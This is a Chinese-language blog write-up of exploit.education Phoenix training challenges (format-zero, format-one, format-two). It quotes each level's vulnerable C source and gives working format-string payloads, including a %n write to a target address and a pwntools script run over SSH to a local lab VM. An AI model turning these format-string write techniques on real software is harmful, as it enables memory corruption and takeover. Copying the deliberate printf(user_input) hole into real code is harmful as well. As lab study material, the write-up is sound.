BuringStraw

BuringStraw

[pwn筆記4]format-zero,format-one,format-two(phoenix)

新的章節講的是利用格式化字串漏洞的故事。
format-two 全是 x86 的題解,找了半天才在一個評論區裡找到如何迴避 x86_64 下 \x00 的坑

format-zero#

本題原始碼#

/*
 * phoenix/format-zero, by https://exploit.education
 *
 * Can you change the "changeme" variable?
 *
 * 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and
 * pass it around, 4294967295 bottles of beer on the wall!
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char dest[32];
    volatile int changeme;
  } locals;
  char buffer[16];

  printf("%s\n", BANNER);

  if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
    errx(1, "Unable to get buffer");
  }
  buffer[15] = 0;

  locals.changeme = 0;

  sprintf(locals.dest, buffer);

  if (locals.changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed!");
  } else {
    puts(
        "Uh oh, 'changeme' has not yet been changed. Would you like to try "
        "again?");
  }

  exit(0);
}

解法#

使用 15 位的格式字串,產生 32 位以上的輸出,就可以覆蓋到 changeme。

c 的可變參數是存在堆疊上的,對參數個數沒有任何校驗。所以我們直接搞一堆數字出來就行了。

user@phoenix-amd64:~$ python -c "print('%x'*15)"|/opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!

用 gdb 看一下記憶體裡格式化出了個什麼:

(gdb) p (char*)0x00007fffffffe650
$4 = 0x7fffffffe650 "ffffe640f7ffc546712e712ea0a0a0affffe6d8078257825"

有 48 位呢

啊啊啊突然想起可以用 "%32x"。。。。(為什麼 32 位夠呢,因為輸入末尾有個 \n)

format-one#

把 changeme 改成固定的 0x45764f6c。只要在上一題的基礎上接一個就行。

user@phoenix-amd64:~$ python -c "from pwn import *;print('%32x'+p64(0x45764f6c))"|/opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed correctly!

p64 用來把 64 位整數打包成 bytes。

format-two#

原始碼#

/*
 * phoenix/format-two, by https://exploit.education
 *
 * Can you change the "changeme" variable?
 *
 * What kind of flower should never be put in a vase?
 * A cauliflower.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int changeme;

void bounce(char *str) {
  printf(str);
}

int main(int argc, char **argv) {
  char buf[256];

  printf("%s\n", BANNER);

  if (argc > 1) {
    memset(buf, 0, sizeof(buf));
    strncpy(buf, argv[1], sizeof(buf));
    bounce(buf);
  }

  if (changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  } else {
    puts("Better luck next time!\n");
  }

  exit(0);
}

理論#

利用 % n 將已輸出的位元組數寫入某個位址。

由於這裡 printf 沒有後面的參數,就可以寫入堆疊裡的某個位址。

首先 我們要找到 堆疊頂 距 我們可以控制的輸入 有多遠,然後填入 % p,一個 % p 就可以消耗 8 位元組。

此時 x86 和 x86_64 的情況有些不同,x86 可以像這樣(https://n1ght-w0lf.github.io/binary%20exploitation/format-two/

/opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'

把要寫入的位址(changeme 的位址)放在最前面,然後根據計算出的堆疊頂到字串的距離寫 % x。
但是,x64 的 changeme 位址末尾有 \x00,還像上面那樣搞會被截斷,不過我們可以像這樣:(https://blog.lamarranet.com/index.php/exploit-education-phoenix-format-two-solution/的評論區)

/opt/phoenix/amd64/format-two $'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%n\xf0\x0a\x60'

每多一個 % p 字串增加兩位元組,但是可以消耗掉堆疊上的 8 位元組,這就形成了一個追及問題,直到某個數量後,堆疊上 % n 下面正好是 0x00600af0。

#

bash 裡拿 $(balabala) 作為參數時,如果裡面有換行,會自動變成兩個參數。
所以不能

/opt/phoenix/amd64/format-two $(cat payload)

來點 python#

from pwn import *

shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'%p'*15+b'%n\xf0\x0a\x60'

sh = shell.process(argv=["/opt/phoenix/amd64/format-two", shellcode])

sh.interactive()
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。